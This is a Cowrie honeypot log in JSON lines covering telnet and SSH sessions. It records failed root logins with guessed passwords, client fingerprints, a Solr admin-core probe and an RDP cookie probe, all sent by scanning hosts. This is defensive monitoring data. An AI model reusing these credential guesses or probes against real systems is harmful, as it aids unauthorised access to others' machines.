{"eventid":"cowrie.session.connect","src_ip":"207.154.201.80","src_port":32672,"dst_ip":"10.17.0.5","dst_port":23,"session":"b60494b0efac","protocol":"telnet","message":"New connection: 207.154.201.80:32672 (10.17.0.5:23) [session: b60494b0efac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.897473Z"}
{"eventid":"cowrie.login.failed","username":"GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.902722Z","src_ip":"207.154.201.80","session":"b60494b0efac","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.906656Z","src_ip":"207.154.201.80","session":"b60494b0efac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08897876739501953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.986360Z","src_ip":"207.154.201.80","session":"b60494b0efac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.201.80","src_port":32680,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b0783f46692","protocol":"telnet","message":"New connection: 207.154.201.80:32680 (10.17.0.5:23) [session: 7b0783f46692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:50.066925Z"}
{"eventid":"cowrie.login.failed","username":"GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:50.071668Z","src_ip":"207.154.201.80","session":"7b0783f46692","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:50.074361Z","src_ip":"207.154.201.80","session":"7b0783f46692","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09256553649902344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:50.159409Z","src_ip":"207.154.201.80","session":"7b0783f46692","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.108936309814453,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:55:09.280022Z","src_ip":"68.183.65.32","session":"690278da3a8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.93.28.9","src_port":38364,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f7cc75f17f3","protocol":"ssh","message":"New connection: 41.93.28.9:38364 (10.17.0.5:22) [session: 0f7cc75f17f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:55:13.520696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:55:13.525917Z","src_ip":"41.93.28.9","session":"0f7cc75f17f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:55:14.493445Z","src_ip":"41.93.28.9","session":"0f7cc75f17f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"beauty123","message":"login attempt [root/beauty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:55:18.545316Z","src_ip":"41.93.28.9","session":"0f7cc75f17f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:55:20.647704Z","src_ip":"41.93.28.9","session":"0f7cc75f17f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":59880,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cd088c58294","protocol":"ssh","message":"New connection: 43.228.112.254:59880 (10.17.0.5:22) [session: 2cd088c58294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:55:53.365995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:55:53.369926Z","src_ip":"43.228.112.254","session":"2cd088c58294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:55:53.598979Z","src_ip":"43.228.112.254","session":"2cd088c58294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flyers","message":"login attempt [root/flyers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:55:54.534115Z","src_ip":"43.228.112.254","session":"2cd088c58294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:55:55.763512Z","src_ip":"43.228.112.254","session":"2cd088c58294","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55062,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b04e3e9081d","protocol":"ssh","message":"New connection: 167.172.81.52:55062 (10.17.0.5:22) [session: 5b04e3e9081d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:08.294313Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:08.298764Z","src_ip":"167.172.81.52","session":"5b04e3e9081d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:08.302407Z","src_ip":"167.172.81.52","session":"5b04e3e9081d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":56512,"dst_ip":"159.203.135.109","dst_port":22,"session":"9be33cccb2fa","protocol":"ssh","message":"New connection: 103.122.221.179:56512 (159.203.135.109:22) [session: 9be33cccb2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:17.229313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:17.234337Z","src_ip":"103.122.221.179","session":"9be33cccb2fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:17.497329Z","src_ip":"103.122.221.179","session":"9be33cccb2fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lovers","message":"login attempt [root/lovers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:18.286730Z","src_ip":"103.122.221.179","session":"9be33cccb2fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:19.552292Z","src_ip":"103.122.221.179","session":"9be33cccb2fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":42490,"dst_ip":"159.203.135.109","dst_port":22,"session":"631233bff7ff","protocol":"ssh","message":"New connection: 103.172.78.219:42490 (159.203.135.109:22) [session: 631233bff7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:23.481143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:23.485451Z","src_ip":"103.172.78.219","session":"631233bff7ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:23.746919Z","src_ip":"103.172.78.219","session":"631233bff7ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123qq","message":"login attempt [root/123123qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:24.518850Z","src_ip":"103.172.78.219","session":"631233bff7ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:25.776465Z","src_ip":"103.172.78.219","session":"631233bff7ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":36286,"dst_ip":"159.203.135.109","dst_port":22,"session":"2180f9786020","protocol":"ssh","message":"New connection: 109.237.96.109:36286 (159.203.135.109:22) [session: 2180f9786020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:32.051857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:32.055423Z","src_ip":"109.237.96.109","session":"2180f9786020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:32.148036Z","src_ip":"109.237.96.109","session":"2180f9786020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"catcat","message":"login attempt [root/catcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:32.428408Z","src_ip":"109.237.96.109","session":"2180f9786020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:56:33.524440Z","src_ip":"109.237.96.109","session":"2180f9786020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":38282,"dst_ip":"10.17.0.5","dst_port":22,"session":"34ec900e61f3","protocol":"ssh","message":"New connection: 103.82.20.28:38282 (10.17.0.5:22) [session: 34ec900e61f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:57:16.930393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:57:16.935447Z","src_ip":"103.82.20.28","session":"34ec900e61f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:57:17.217740Z","src_ip":"103.82.20.28","session":"34ec900e61f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lfybkrf","message":"login attempt [root/lfybkrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:57:18.022763Z","src_ip":"103.82.20.28","session":"34ec900e61f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:57:19.293207Z","src_ip":"103.82.20.28","session":"34ec900e61f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":40832,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ccdb6b6445a","protocol":"ssh","message":"New connection: 62.133.63.178:40832 (10.17.0.5:22) [session: 6ccdb6b6445a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:57:26.128071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:57:26.133023Z","src_ip":"62.133.63.178","session":"6ccdb6b6445a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:57:26.259232Z","src_ip":"62.133.63.178","session":"6ccdb6b6445a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789qwe","message":"login attempt [root/123456789qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:57:26.638644Z","src_ip":"62.133.63.178","session":"6ccdb6b6445a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:57:27.767423Z","src_ip":"62.133.63.178","session":"6ccdb6b6445a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":37560,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf08adf99bb0","protocol":"ssh","message":"New connection: 87.251.79.125:37560 (159.203.135.109:22) [session: cf08adf99bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:58:57.852445Z"}
